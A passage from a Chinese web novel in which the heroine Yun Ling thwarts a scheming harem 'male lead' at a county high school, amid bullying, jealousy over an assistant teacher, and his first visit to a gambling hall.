“这是助教所定,我又能如何?”楚胜背靠墙角,已无退路,心中不免有些惶恐,低声辩解道。
语气中,却难掩一丝得意。
姚姿艾初来乍到,尚未与众学生相识,却能准确无误地唤出楚胜之名,更让他顶替了课代表之位。
若说其中无猫腻,谁人肯信?
跟班们听得怒火中烧。
原课代表更是怒不可遏。
他站在跟班之中,那张不输男主的俊脸上,满是嘲讽之意:“你无计可施?我却觉得你计谋颇多,可惜都是些卑鄙下流之策。”
课代表一边说,一边将指节捏得劈啪作响。
吓得楚胜将整个身子都紧贴在墙上。
情急之下,无路可退,楚胜心中那股怒火也涌了上来,他扯着嗓子,冲着这群男生就是一吼:“有钱便了不起么,还不都是一群只会倚仗父母的寄生虫……”
吼完,楚胜才意识到自己现在的处境。
心中一紧,暗叫不妙。
可惜为时已晚。
周围的气氛瞬间凝固。
只见那些之前还与他保持距离的男生们,都转动着自己的手腕和脖子,一步步朝他聚拢过来。
那阴沉的脸色,一看便知不会有什么好事。
楚胜的声音忽地就弱了一半,但仍硬着头皮,一咬牙道:“这是学校,你们就不怕被记过?”
记过……
这两个字成功让男生们停下脚步。
见状,楚胜终于松了口气。
他靠着墙,试着使自己的姿势看上去不要那么狼狈。
气氛陷入了难得的缓和。
男生们犹豫过后,基本放弃了动手的念头。
而楚胜在这段安静的时间里,反而是越想越气。
凭什么?
凭什么别人想骂就骂他,想打就打?
凭什么自己无权无势就该受这种委屈和欺负?
楚胜憋了一肚子火。
想到这群男生反正不敢在学校里动手。
他干脆现仇现报,直接将刚才受的窝囊气,全部骂还了回去。
他又不动手,就动动嘴皮子可以吧?
以前在村里的时候,楚胜可没少看那些泼妇们骂街。
各种污言秽语早已牢记在心,基本上两嘴皮子一碰就出来了,想都不用想,流利得很。
他骂得倒是畅快了。
却没注意到对面那群男生越来越难看的脸色。
常言道,骂人得注意尺度。
有些不该说的,再生气也别乱说,以免惹祸上身。
但楚胜可管不了这么多,难得有个这么好的发泄口,骂得收都收不住。
部分侮辱性的词汇,甚至殃及到了人家父母那代。
这能忍吗?
一句去你吖的校规。
男生们一哄而上。
就如同一群被点着的炮竹一般,眨眼就与楚胜打成了一团。
受了刺激,他们下手都没轻没重的,专挑自己觉得疼的位置打。
没一会,楚胜就感觉自己的重要部位被挨了好几下,痛得整张脸都绿了。
这是他万万没料到的。
这群人,居然真敢在学校里动手!!
早知道会这样,他就收敛一些了!
但可惜没有早知道。
楚胜体质本就消瘦,金手指也被云灵给毁了,即便有男主光环,那成长也可谓是龟速一般。
一月下来,毫无长进。
现在对着这一伙人,更是提不起半分反抗之力,一面倒地被压着打。
或许是众人平日里对楚胜积怨已深,此刻一旦动手,便如洪水决堤,难以自制,场面一时难以收拾。
正当众人打得如火如荼之际,却不知是谁的手机铃声突然响起。
“叮——铃——”
男生们停下了手中的动作,面面相觑,惊疑不定。
“你带手机了?”
“没有啊。”
“那是谁?你?”
“胡说,学校严禁携带手机,我怎会带。”
……
正当他们争论不休之时。
铃声戛然而止,紧接着,是一道极为冷寂的女声。
“喂?”
云灵从一旁的楼梯口站起身,将手机贴于耳侧,语气中满是不耐烦。
然后不等对方说话,直接将手机屏幕摁灭。
转身,发现那群男生已经停手,全都愣愣地盯着自己。
云灵:“继续啊,你们!”
“你……不,您何时在此?”一个跟班颤抖着声音,小心翼翼地问道。
回答他的,却是另一道格外冷冽的嗓音。
“刚到不久。”
黎玲从楼梯口后面走出,站到了云灵身旁。
两位美人站在一起,虽然气场寒如南极大陆,但也勉强算得上是一道亮丽的风景线。
然而此刻,这群男生却无半点欣赏的心思。
他们的心情十分复杂。
“这个不久……是多久?”
“自放学始。”
敢情您二位一直在旁观战?
他们虽然表现得再怎么强硬,本质上也只是一群学生,打人本就只是因为一时冲动,此刻清醒过来了,便开始后悔。
校园暴力一向是严打的对象。
作为所有学校的标杆,
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县一中更是如此。
今日之事,若是被告知师长,轻则记过处分,重则可能会被直接劝退。
想到这里,几个男生的脸色有些发白。
不论是哪种惩罚,都会在他们的档案中留下不可磨灭的污点,这些污点,绝对会给他们未来的生活带来影响。
作为家中的宠儿,平日里被父母捧在手心的人。
怎能容忍自己的档案中,出现这种负面评价的东西,并且跟随自己一生?
被人撞见了全程,这该如何是好?
领头的原课代表硬着头皮出面,与之商议道:“今日之事,还望不要告知班主任,你们也瞧见了,我们本无意动手,都是因为这小子……”
话音未落,他的气势已不自觉地弱了几分。
他们本也只是抱着一线希望,未曾料到,那位煞神竟十分干脆地答应了。
没有半分犹豫,似乎……还带着一丝喜悦?
他们不明所以,但无论如何,人家至少答应了帮忙隐瞒此事,这已是再好不过的结果了。
原课代表心中的大石落下了一半。
突然,他又像想起了什么,惊疑不定地望向黎玲。
是啊,现场不止云灵一个目击者。
黎玲自然明白原课代表的担忧。
她瞥了眼地上狼狈的楚胜,语气冰冷:“你们随意,与我无关。”
若非今日非要陪云灵留下,她还真没看出,一个看似斯文俊秀的男子,竟能毫不犹豫地吐出如此多恶毒污秽之言。
十句中,有八句在侮辱女性。
这是出自书香门第的黎玲所不能容忍的。
黎玲这番高傲冷漠的态度,让原本还抱有一丝期待的楚胜心情彻底跌入谷底。
他莫名感到一种被背叛的痛苦。
现场只有两位目击证人,如今都答应帮忙隐瞒此事,基本上就无需再担心了。
原课代表的心情如释重负。
随后便带着自己的一众跟班,匆匆离去。
此事就此不了了之。
待那群少年离去,楚胜即刻从地上爬起。除了站立时略显别扭,并无明显伤痕。
随意一站,仿佛方才的打斗与他无关。
云灵一边品尝着今日所得之豆浆,一边悠然自得地离开了教学楼。
黎玲紧随其后,与她齐步而行。
两位女孩未给楚胜半分多余的目光,却意外激起了他的恨意。
直至她们消失无踪。
走廊里才响起几句‘穷鬼’‘瞧不起’之类的言语。
这些话随风飘散,很快消散在空气中,无影无踪,未掀起半分波澜。
……
刚出校门,云灵蓦地止步,身后黎玲未及提防,险些撞上。
“何事?”黎玲稳住身形,望向云灵,眼中带着几分疑惑。
“天色已晚,我送你回家吧?”
想到县里尚有未捕之杀人犯,黎玲思索片刻,便答应了。
……
阴暗的小巷中。
几名歹徒紧贴墙面,连大气都不敢喘。
“过去了没有?”
“头儿,放心,她们过去了,咱们没被发现!”
“兄弟们可瞧见那笑容,差点把老子吓尿了。”
“可惜了那姑娘,长得那么标致,怎就偏偏被那玩意儿缠上了。”
……
若云灵在此,或许能认出,这便是当初挡她去路的歹徒。
说起来,这些歹徒也是可怜。
自那日起,他们便被吓得不轻,夜夜梦到阴曹地府,整日提心吊胆,生怕哪天被什么东西找上。
这能怪他们胆小吗?
要知道,自从前段时间某巷中死了人后,整个县城的流言蜚语便如狂风中的落叶,满天飞舞。
各种鬼故事版本,层出不穷。
他们这些游手好闲之辈,无正经营生,日夜便靠收音机打发时间。
而那些主持人,因那事,都流行起讲鬼故事。
左右无他物可听,歹徒们只能被迫洗脑。
人脑这东西确实易受影响。
一件事,听得多了,便信以为真。
本来云灵的气场就不太像常人,白天已冷寂恐怖,偏偏他们遇到的两次,都恰逢夜晚。
什么?云灵有影子?
有影子又如何,说不定是鬼上身,更可怕了!!
宁可信其有,不可信其无。
就像现在,虽然到处都在宣扬破除迷信,但那些名牌建筑和设计学院的学生们,还不是偷偷必修了一门叫做玄学的课……
玄学是何物?
不懂可以自行查证。
总之,在歹徒有意的一番操作下,两方人马最终未能正面交锋。
75. 种马世界
将黎玲送回,正当云灵准备回去时,一个意想不到的人却忽然撞了上来。
“同……”楚胜满脸惊讶,显然没想到会在此地遇到云灵。
然而刚吐出一字,便猛地闭上了嘴。
差点忘记,他今日已换了座位,再称她同桌已不妥。
唤灵灵吧,又不够亲近。
唤全名,又显得太过生分。
楚胜犹豫了一下,没有再纠结称呼问题,他用着念诗一般的语调,朝云灵缓缓开口道:“我能理解,你定有自己的苦衷,才助那伙人隐瞒此事,我不怪你。”
一边说,一边摆出一副痛苦的表情,扯着衣袖‘不经意间’露出被那群人殴打的青紫皮肤。
可惜,云灵一丝眼神也没有给他,她见剧情男主出现在此,只觉得烦躁。
黎玲亦居于附近,这意味着,此后这二人相遇的机会将大大增加。
情况紧急。
看来,是时候购置房产了。
云灵施展轻功,如幻影般消失不见。
完全无视了一旁还在卖力表演的楚胜。
楚胜那副姿态,不过是想让云灵心生愧疚,施舍些医药费。
他心底认为,自己的伤,云灵也有责任,若她能早些出现,自己也不会伤得如此之重,更不会被亲戚误会,逐出家门。
然而,他未曾想到……
楚胜揉着身上的淤青,痛得倒吸一口凉气。望着云灵离开之后的小巷,他的眼神愈发怨毒。
终有一日。
他要让这些虚伪的女子们都匍匐在自己身下。
卑微地乞求自己的恩宠。
第二天是周末,学校放假。
黎玲一大早就得知自己要搬家了,这个消息来得太突然,连她名下的小公寓不知被谁换成了一套别墅。
物业人员一大早就来催促她搬走。
一般人遇到这种情况,可能会非常高兴,毕竟这是意外之财。
但对黎玲家来说,这却让她们感到不安。
在物业的催促下,黎玲家不得不匆忙收拾东西,搬进了那幢高档但陌生的别墅。
别墅内部装修精美,风格清新大气,连必需品都已准备妥当。
一天平安无事,黎玲家担心的事情并没有发生。
第二天早晨,隔壁别墅也迎来了新邻居,搬家的场面非常壮观。
黎玲在阳台上,目睹了一辆大货车停在隔壁别墅外,数十名搬家工人从车上搬下各种精致的家具,每一件都价值不菲,显得十分奢侈。
黎玲早已完成了课业,闲来无事,便在阳台上观望搬家工人忙碌的身影。
名贵的沙发、绒毯、垫子、橱柜,一件接一件地被搬进了隔壁别墅。
仿佛永无止境,直到临近晌午,第一辆货车终于搬空,黎玲这才松了口气。
然而,这口气还没叹完,第二辆货车已缓缓驶来。
黎玲耐心地等到第二辆货车也卸空,紧接着,第三辆、第四辆、第五辆接踵而至。
平日里难得一见的珍奇物件,如今尽收眼底。
尽管不是自己的财物,但想到那巨额的价值,黎玲不禁捂住胸口。
随着最后一辆车卸完货物,黎玲正欲回屋,却见一辆红色的跑车轰鸣而来,稳稳停在隔壁别墅前。
搬家公司绝不会用此车,显然,这是新邻居的座驾。
车门推开,一位身着红底蓝边休闲套装的女生缓缓走下。
黎玲屏息凝视,大脑瞬间空白。
女生似有所觉,回眸一瞥,那熟悉的面容尽显。
未等黎玲反应,女生已转身进入别墅。
……
次日,云灵步出别墅,一眼便见黎玲站在门口,提着书包的手冻得通红,显然已等候多时。
“等很久了?”云灵一边问一边上车,车门未关。
黎玲点头,紧随其后,坐在了云灵身边的副驾驶。
待黎玲坐定,车子缓缓启动。
窗外景色飞速倒退,化为斑斓虚影。
目送云灵远去的杨柳心中五味杂陈。
她已辞去拍卖行工作,现专责花钱就可,如同豪门富太太。
其实,早前云灵给她的那张卡里,就拥有五千万的财富,后来云灵用她的身份玩股票,杨柳名下的身家更是节节攀升。
泼天富贵降临,本还想在拍卖行工作,自立自强的杨柳,完全抵挡不了诱惑,干脆辞了工作,专心在家做豪门太太。
只需要美美美,买买买便可…不时与闺蜜聚会,享受她们的羡慕求包养……
……
红色跑车不仅外观独特,内外部更是工艺的极致展现,这一看,就知道价格不菲。
黎玲羡慕地打量了一番,随后将目光转回到云灵身上。
她今日前来,是有些疑问想要解答。
黎玲鼓起勇气,小心翼翼地问道:“我家那房子,是你……?”
其实,昨日见到云灵出现时,黎玲心中已有答案,但她仍希望听到云灵亲口确认。
在黎玲期待的目光下,云灵笑颜展现,“是的,感动吗?”
得到肯定的回答后,黎玲心中的大石终于落下。
她刚想开口,却被云灵的声音打断。
“学校到了。”
云灵停车在路边,理也不理便与黎玲下车了,待会儿会有人前来停放好
……
楚胜搬家了,收留他的是那位与他有过一夜情的女老师。
那日,他被亲戚赶出家门,途中偶遇云灵。
他知道云灵有钱,本想借此机会索要些医药费,却被彻底无视。
连番不顺让他心烦意乱。
云灵离开后,他不慎踩空台阶。
作为一个正直的男人,楚胜从未期待过有白马王子此时出现相救。
即便真有,他也会觉得恶心。
然而,出乎意料的是,他并未遇到白马王子,却撞进了一团柔软之中……
熟悉的惊呼声响起,楚胜当场昏倒。
不论真昏假昏,等他醒来时,发现自己躺在姚姿艾卧室的床上。
姚姿艾站在一旁,关切地询问他身上的伤势。
在心爱之人面前,楚胜不愿透露自己被人殴打的屈辱。
他避而不谈,只说自己无处可去。
少年脸上的坚强与隐忍,让人心生怜悯。
果不其然,姚姿艾立刻提议他可以住在自己这里。
与性感美人同居,是多少人梦寐以求的事?
楚胜内心激动,表面上却装出一副正气凛然的样子。
几番推辞后,最终还是半推半就地同意了。
楚胜与姚姿艾同住一檐下,然而他的心思却始终萦绕着另一道身影——黎玲。她那冷若冰霜的容颜,犹如高山之巅的雪莲,令人仰望而不可及,却又散发着难以抗拒的诱惑与神秘。
这份迷恋让黎玲夜夜辗转反侧,难以成眠。
每当他企图在梦中对黎玲有所作为时,云灵的身影却如鬼魅般出现,将他从梦中惊醒。
这样的经历反复上演,令他痛苦不堪,对云灵的恨意也愈发深重。
周一的清晨,楚胜与姚姿艾一同步出家门。临近学校时,他以购买物品为由,让姚姿艾先行进入学校,自己则躲在暗处,直到她的身影消失不见,这才松了口气,准备踏入校园。
然而,就在此时,校门口的人群突然骚动起来。
楚胜好奇地望去,只见一辆玫瑰色跑车停在了校门口,那流畅而惊艳的车身吸引了众多师生的目光,也引起了楚胜的渴望。
他的脚步不由自主地停了下来。
但当车上的两人现身时,楚胜的目光立刻变得复杂起来。
他感到原本遥不可及的东西似乎触手可及,心中的野心开始疯狂地盘算。
他望着云灵和黎玲离去的背影,眼中闪过一抹深沉,随即缓步跟了上去。
站在教室门口,楚胜感到迷茫。
他四处寻找,却一无所获。不对劲,他明明是跟着她们的,怎么现在她们不见了?
“挡什么路!给老子死进来!”班上的混世魔王在云灵不在时总是格外嚣张。楚胜的任何一点小错都会被他们拿来取笑。
上次帮他打人的那几个同学更是肆无忌惮地嘲笑起来。
嘲笑声在教室里回荡,充满了讽刺、羞辱和鄙夷。
楚胜紧握拳头,愤怒几乎要达到临界点。
但他真的能打赢这些人吗?
为何上天如此不公,为何要给他这样的家世,让他平白无故地受人耻笑?这些纨绔子弟凭什么看不起穷人?不就是靠着父母的钱吗!
楚胜丝毫不觉得自己的这两个想法有何矛盾。
他站在门口,试图模仿云灵,摆出一副冷若冰霜的表情。
但没想到,他的表情不仅没有吓到人,反而显得滑稽,引起了更大的笑声。
一本书从旁边飞来,狠狠地砸在楚胜的脸上。“没听见老子的话吗,别挡在门口,快滚进来!”
前英语课代表毫不掩饰地收回扔书的手,脸上挂着不屑
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的笑容,满是肆无忌惮的神情。
反正他已经被剥夺了英语课代表的职位,班委的责任感已经与他无关。他只是想欺负一下人,又能如何!
楚胜面色阴沉,回想起上次的教训,他强压下心头的怒火,默默地捡起书还给了前英语课代表,随后沉着脸回到自己的座位。
他暗自打听得知,原课代表背景深厚,自己目前无力抗衡,只能忍气吞声。
不,更确切地说,在整所学校里,几乎没有他能惹得起的人……
坐在座位上,楚胜目光紧盯着门口,随着时间的流逝,他心中的怨恨如野草般疯狂生长。
为何那两个女生还未出现?为何云灵还未到来?如果云灵在场,他就不会受到这样的羞辱。
归根结底,这一切都是云灵的错!
上课铃声即将响起时,两女的身影终于出现在教室门口。
之前还嚣张跋扈的几个校霸瞬间变得如同鸵鸟一般,将头埋在课桌上,一言不发,仿佛是一群渴望学习的模范学生。
这种明显的差别对待让楚胜心中又是一阵妒恨,却无能为力。
当天下午放学后,黎玲走到半路,突然想起自己的家庭作业本遗忘在了教室,于是急忙返回去取。
云灵等待中,就见楚胜手持一枝玫瑰出现在她面前。
云灵的目光落在楚胜身上,周围的寒意迅速攀升,仿佛要将眼前的少年冻成碎片。
楚胜被云灵的目光盯得头皮发麻,双腿不由自主地颤抖起来,心中涌起一丝后悔。
但最终,他还是鼓起勇气,颤抖着递上玫瑰花,试图摆出一副深情的模样:“这是送给……”
“你们在干什么?”
他的话还没说完,一道女声突然从附近传来。声音被刻意提高,失去了往日的娇媚,充满了质问的意味。
楚胜被吓了一跳,猛地回头,只见姚姿艾正站在拐角处,美眸中满是怒火。她身旁,是眼神茫然的黎玲。
小巷杀人案尚未破获,凶手仍然逍遥法外。
为了保证学生安全,学校决定从本周开始实施新的管理制度。
而今天恰好是姚姿艾值日。按照规定,她必须确保所有教室的门窗都已锁好,才能离开学校。
在准备离开时,姚姿艾恰好遇到了回来取作业的黎玲。
两人一同下楼,却意外撞见了这一幕……
尽管没有和楚胜明确关系,但两人早已跨越了界限。姚姿艾一直认为,他们之间只是未曾明说,彼此心中都有数。
然而,她却没想到这么快就看到楚胜在学校里对别的女生表白。
这女生确实漂亮,但仅有美貌又有何用?那平坦的胸部如何能与自己的丰满相比?
姚姿艾心中充满了疑惑和愤怒。
她气冲冲地上前,一把拍掉楚胜手中的玫瑰,还用高跟鞋狠狠地踩了几脚。
做完这些,她似乎仍觉得不解气,扬起手狠狠地打在了楚胜的脸上。
力道之大,让楚胜的头猛地一偏。他那白皙俊秀的脸上,立刻出现了一个鲜红的掌印,格外醒目。
随后,姚姿艾看也不看三人一眼,气冲冲的离开了。
楚胜捂着自己火辣辣的脸颊,望了望无动于衷的云灵,又看了看地上被踩烂的玫瑰,犹豫了片刻,最终决定追向姚姿艾。
“阿灵……”黎玲从这场闹剧中回过神来,她似乎被吓到了,直到现在才反应过来。
她有些厌恶地绕过地上那滩红色的东西,走到云灵身边:“我们回家吧。”
她停顿了一下,接着说:“楚胜没安好心,以后不要再和他接触了。”
云灵:“……?”
第二天,楚胜来上课时,下眼皮一片淤青,精神萎靡,不知是因为没睡好还是经历了什么。
而姚姿艾来上课时,却笑得像被滋润过的花朵,一脸妩媚,身上的气质更加成熟性感,引得班上男生心神不宁。
这狗男人,即使没有金手指,只要有光环,依然能吸引女主。
姚姿艾就是一个很好的例子。
她从进门开始,目光就一直深情地锁定在楚胜身上,难以移开。
楚胜偶尔会回给她一个微笑,但更多时候,他的眼神都在四处游移。
班上稍有姿色的女生,他都会多看几眼,尤其是云灵和黎玲这一桌,更是他目光停留的焦点。
每当姚姿艾低头翻书,楚胜的目光就开始四处游离。
一旦姚姿艾抬头,楚胜又立刻将目光转回她身上,带着一脸温柔宠溺的笑容。
76. 种马世界
这样的小动作,竟然没有露出任何破绽。
这让班上的同学感到困扰。
他们认真学习,时刻牢记校规校训,努力埋头苦读。
却发现这位性感漂亮的英语助教,只顾着和楚胜眉目传情,连上课内容都记混了。
她准备的课件直接照搬书本,毫无新意。
他们现在是高中生,不是小学生。
高中是为了备战高考,如果高考成绩不理想,人生就可能毁了一半。他们当初交了学费,可不是来这看助教敷衍了事的。
顺着姚姿艾的目光,同学们看到了楚胜。此刻的楚胜,正挂着一脸温柔宠溺的笑容,深情地望着台上的姚姿艾。
本来他坐在最后一排,不易被发现。但同学们突然像是受到了某种指令,齐刷刷地转过身,将他脸上的表情看得一清二楚。
同学们虽然不敢明说,但目光却是自由的。
现在,他们看着楚胜的目光中,充满了不可置信、鄙夷、惊讶、嘲讽、恶心……显然,他们已经知道了一切。
楚胜的笑容顿时僵在了嘴角,他慢慢低下头,盯着课本,默不作声。
姚姿艾没有深思,依旧每隔半分钟就朝楚胜望去一次。
楚胜也以微笑回应,但笑容中已没有了之前的宠溺,取而代之的是一丝难以言喻的僵硬和尴尬。
云灵靠在座椅上,与其他男生一样,目光落在姚姿艾身上。然而,她的眼神中只有欣赏,欣赏一朵娇艳欲滴的花朵。
云灵的目光忽然间与姚姿艾的目光对视,云灵回以微笑,姚姿艾却微微皱眉。
云灵坐在教室中央,桌上只放着一本英语书,书封面朝上,显然没有在听课。
姚姿艾讲课的声音一滞,好心情瞬间跌落。
如果她没记错,这女生就是昨天和楚胜站在一起的那位,她的情敌。
没想到现在竟然落在了自己手里,真是天意弄人。
“好了同学们,我们来报个听写吧,那就……这位同学上讲台写。”姚姿艾毫不犹豫地指向云灵。
课还没上多久,书本上的都是新词,从开始到现在,只教着读过一遍,连默背的时间都没给。突然要听写,还指定了人,明显是不怀好意。
云灵能猜出姚姿艾这样做,无非是为了楚胜争风吃醋。但一个助教做出这种事情,未免太过幼稚。
黎玲也是同样的想法,正想提出质疑,却见云灵已经站了起来,走向讲台。
云灵走上讲台,拿了只粉笔,装模作样的面对黑板,准备听写。
姚姿艾见云灵准备好,便开始报单词。
然而,随着她话音落下,云灵却一个字也没写,面对着黑板,发呆。
“这位同学,你为什么不写?”姚姿艾的语气里,颇有一种明知故问的意味,“难不成,是你不会?”
“老师,我不会!”云灵顺势应了一声,完全没有不会的尴尬,好似会与不会都不在意一般。
姚姿艾信了云灵的话,摆出一副胜利者的姿态,语气中带着轻蔑:“不会还不认真听课?一节课上一半了,连书都不翻开,像你这种年纪,别一天到晚想些有的没的,资历还嫩着呢。”
她的言下之意颇为明显。
然而,云灵似乎根本没听出她话中的讽刺,反而认真地点了点头:“好的,老师。”
姚姿艾身为助教,不能在众目睽睽之下对学生做什么过分的事。
再者,云灵其实也并没有什么大错,学生不听讲是常有的事,就连老师,也偶尔会有疏忽的时候,这并不奇怪。
难道还能因为这点小事就让学生退学不成?
思考了片刻,姚姿艾开口道:“今天罚你留下来打扫教室,希望你能够吸取教训,以后认真听课。好了,回去坐下吧。”
云灵态度颇好的应了声,便在姚姿艾的示意下,回到了座位。
云灵知晓这姚姿艾是对她发难,但这么点不痛不痒的事,云灵完全不在意,她对于女孩子,可是很包容的,更何况,姚姿艾是一朵鲜艳的娇花?
楚胜坐在教室的最后一排,目睹了这一切,眼中满是不赞同,却始终没有勇气站出来说些什么。毕竟现在他的生活起居都是姚姿艾在照料。
万一惹怒了那个女人……
想到以前的生活和现在精致的日子对比,楚胜忍痛选择了忽视。
他满怀歉意的目光落在从讲台走下的云灵身上,心里想着,以后一定会帮云灵打理好财产作为补偿。
而且云灵那么有钱,送几套房给姚姿艾,增进两人之间的感情应该也不是什么难事。
有了房子,姚姿艾肯定也不会再这么刻薄地对待云灵了。
到时候,大家一定能和平相处。
楚胜的目光一转,又满含情意地落在黎玲身上。
从第一次见面的时候他就知道,这个女人与自己的羁绊很深,说不定就是命中注定的缘分。
而且他能感觉到,黎玲还是有点喜欢自己的,要不然,她刚才怎么三番四次地回头,朝自己这边看?
黎玲完全不知道自己的小动作已经被发现了。
她收回目光后,就把脑袋凑近云灵,面上冰霜一片,口中却吐槽不断:“楚胜长得也不如明星帅啊,不就白了点,英语老师是不是瞎?为这种恶心的人争风吃醋。”
云灵没有说出心里的话:如果没有我,你现在就跟姚姿艾一样瞎。
她扭过头,也朝楚胜的方向看了一眼,“嗯,是挺恶心。”
下课铃声响起,姚姿艾便带着楚胜匆匆离开。
临走前,她似乎有意为之,特意挽着楚胜在云灵面前炫耀了一番。
臂弯相扣,身体紧贴,大秀恩爱,云灵却只是对姚姿艾回以微笑,至于楚胜?连看都未看一眼。
第二天,云灵一边吃早餐一边查看女主的行程信息,眼中闪烁着光芒。
如果科技允许,她更想把人直接送进外太空。
这第三位女主,才是真正意义上的正宫之主,但她的身份却只是一个私生女,最近才和母亲搬过来。
女主那个所谓的父亲,也没有给她们母女多少钱。
云灵直接一笔巨款砸下来,母女俩高兴得连屁股都还没坐热,就直接马不停蹄地出国了。
三个女主,如今已经解决了两个,只剩下一个姚姿艾,不足为虑。
只要让这种三观不正,妄想大开后宫的剧情男主不顺,云灵就乐意。
如果可以,云灵更想把写作这话本的屌丝作者挫骨扬灰,这没一定的臆想症,绝对写不出这种剧情来。
楚胜开始大胆地在云灵面前出现,试图引起她的注意。
每当姚姿艾和黎玲不在场时,他甚至会凑上前去,低声说一些自认为深情的话,比如“我知道你”、“我懂你”之类的。
云灵正准备痛揍楚胜一顿,让他知道好歹,前任英语课代表就先忍无可忍了。
历史总是惊人地相似,放学后,课代表带着几个男生,将想要逃跑的楚胜堵在了一条小巷里。
一顿拳打脚踢后,课代表俯视着地上无力反抗的楚胜,脸上带着一丝坏笑:“你知道这里是哪儿吗?”他故意拖长的尾音,让人不寒而栗。
这个小县城十几年来都风平浪静,唯一称得上是案发现场的地方,楚胜怎么可能不知道?
正是因为知道,他的脸色瞬间变得苍白。
没有金手指的男主,成长速度太慢,心理上更是比剧情中胆小许多。再加上他从小在乡下长大,被爷爷奶奶灌输了各种鬼神思想,此刻他真的感到非常害怕。
“诶?老大,那滩水是什么东西?”其中一个跟班突然问道。
“怎么还有股怪味?该不会是……哈?楚胜同学,我以为你勾搭老师胆子挺大的,怎么这么快就被吓尿了?”其他人开始起哄。
楚胜蜷缩在地上,夜色掩盖了他的表情。在不怀好意的笑声中,他慢慢撑着墙站起身,思索着逃跑的路线。
在恍惚间,他终于看到了一条看似安全的路。他用尽全力甩开了抓住自己的一只手,撒腿就朝那边跑去。
然而,他刚迈出一步,就被自己的另一只脚绊倒,头部重重地撞在了墙上。
瞬间,一股温热的液体流淌下来,整个世界都被鲜艳的红色填满。
楚胜两眼一翻,直接昏了过去。
男生们面面相觑:“……”
他们什么也没做啊!!碰瓷也不是这样的吧!
“老大,现在怎么办?”其中一个跟班的声音都有些颤抖。
流了这么多血,该不会真的出人命了吧?
“去打电话喊救护车。”课代表虽然脸色苍白,但还是尽力保持镇定。
突然,他伸手拉住了那个要去叫救护车的跟班。
“别用手机,旁边有公共
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电话亭。”
“好。”跟班应了一声,飞快地跑去。
报完地址和位置后,课代表带着跟班们离开了现场,虽然心里还有些不安,但至少比什么都不做要强。
他们刚走不久,救护车就赶到了。
然而,急匆匆赶到现场的医护人员却没有在巷子里看到任何人,只有一团新鲜的血迹,还有一滩……
算了,这么没公德心的事情,不提也罢。
主要是那团血迹,证明了刚才打电话的孩子没有说谎。但人呢?伤者总不可能自己跑了吧!
与此同时,楚胜顶着一脑门子的血,摇摇晃晃地回到了姚姿艾的住处。
他以前也经常受伤,对伤口的处理已经相当熟练。
等一身污血洗净,楚胜准备去睡觉时,却忽然发现自己的中指上多了一枚戒指……
第二天,原课代表和其他人到达学校时,意外地发现楚胜已经坐在教室里,除了额头上贴着一块膏药,整个人看起来精神焕发,脸上洋溢着喜悦。
这让课代表感到困惑,难道昨天的事件反而让楚胜变傻了吗?
课代表带着复杂的心情观察了楚胜一会儿,发现对方并没有要找茬的迹象,便回到了自己的座位。
课堂上,楚胜像往常一样,将目光平均分配给了姚姿艾、黎玲和云灵。
当姚姿艾不在时,他的目光就只停留在黎玲和云灵身上。与以往不同的是,他的眼神中透露出一种志在必得的自信。
云灵已经在神祇宝典的提醒下,知晓了一切。
她眯起眼睛,开始思考关键词。
金手指……不是已经被毁了吗?
开挂也要有个限度吧!
云灵并没有采取什么实际行动,唯一变化的地方,就是花钱越来越明目张胆,上午换一套衣服,下午换一个手机。
各种昂贵的、听都没听说过的物品,像不要钱一样,被一一摆到了云灵的桌面上,占领了原先放课本的位置,极为显眼。
最后,实在摆不下了,云灵又占领了黎玲的桌面。
没人投诉,校领导也就当没看见。
短短一年下来,全校都知道云灵很有钱,富到流油的那种。
黎玲对此没什么反应,只是把自己的东西整理了一番,腾出更多的地方,让云灵玩。
时间流转,进入了高二,这一年里发生了不少事情,但也不算太多。
比如,校长的侄女,那个拥有七彩飘柔秀发的小太妹,带领那些跟班,头发全部染回了正常颜色,开始认真学习了。
毕竟她们调皮了那么久,想要一下子安静下来也不太现实。
这些表面上恢复了学生模样的小太妹们,学习上仍然没有太大长进,每天在学校里,主要靠八卦和散播流言蜚语来打发时间。
为此,她们还特意新建了一个校园论坛,一时间用户爆增,意外地成为了当下最流行的校园社交场所。
再比如,得到金手指的楚胜已经开始慢慢尝试创业,但由于已经错过了最好的时机,现在的创业之路可谓是千难万难。
如果能更有耐心一些,或许情况会好一些,但是每天看着云灵炫富,再耐心的人也会被逼疯。
楚胜就是如此。
他开始尝试向云灵索要一些奢侈品,但云灵并未答应。不但没有答应,还特意约他出去“好好讨论了一番”。在无人的角落里,一番“讨论”后,楚胜在医院里躺了半个月。
然而,害怕并不等同于放弃。
云灵拥有的财富,一看就知道是个天文数字。若是能拿到手……楚胜似乎已经能够想象自己一夜暴富,环拥佳人的场景。这样的想象让他的害怕瞬间消失得无影无踪。
办完出院手续后,为了省钱,楚胜选择步行回家。
他走的那条路,平时行人并不多,但今天却多了两个陌生的男人并肩前行。楚胜心生警惕,加快步伐准备超过他们离开,却听到了一段细碎的交谈声。
“诶,你上一把运气怎么样?”
“嘿嘿,赢百八十万没什么问题,你呢?”
“我也还行,也就赢了十几万。”
楚胜的脚步一顿,脑海中满是刚才那些数字。
按照他现在的赚钱速度,不知道要多久才能赚到的钱,此刻在这两个男人口中,却变得不值一提。
好奇心驱使下,楚胜决定跟上这两个男人。
77. 种马世界
经过一番兜兜转转,他最终站在了一家赌厅门口。
赌厅大门敞开,仿佛一只饥饿的凶兽,张着血盆大口,露出锋利的牙齿,目光贪婪,不停地诱惑着新的猎物到来,然后悄无声息地将其吞噬,连骨头都不剩。
楚胜吓得哆嗦了一下,转身就想走,但不知为何,腿脚又开始不听使唤。等他回过神来,他已经坐在了赌桌前,手中端着筹码。周围的人都在等他下注。
看着手中的筹码,楚胜一咬牙,将所有筹码胡乱推到了一个下注点上。
输吧,输了这一把就走,再也不来了。他心中一遍又一遍地催眠自己。
荷官似乎看出了他的想法,桌底下的手微微一动,转盘开始转动起来。紧张的气氛开始蔓延,周围的呼吸声都变得轻了许多。
虽然已经做好了输的准备,但楚胜还是下意识地将眼睛死死地盯在转盘上,眼球都染上了血丝。
最后,那承载着众人希望的指针,慢悠悠地停在了楚胜下注的地方!!
楚胜压注的地方赔率很高,这一下,他赢了将近五十倍的钱!就在上一秒,他还在为投资商撤资的事情烦恼,如今却来了这样一个惊喜!
端着那些筹码,楚胜忽然感觉到了一丝丝不真实。他偷偷伸手,猛地掐了一下自己的大腿,疼得倒吸一口凉气。
按照原本的赚钱速度,这些钱,他少说也得奔波大半年,可现在,几乎是一小会儿功夫,就已经到手了……
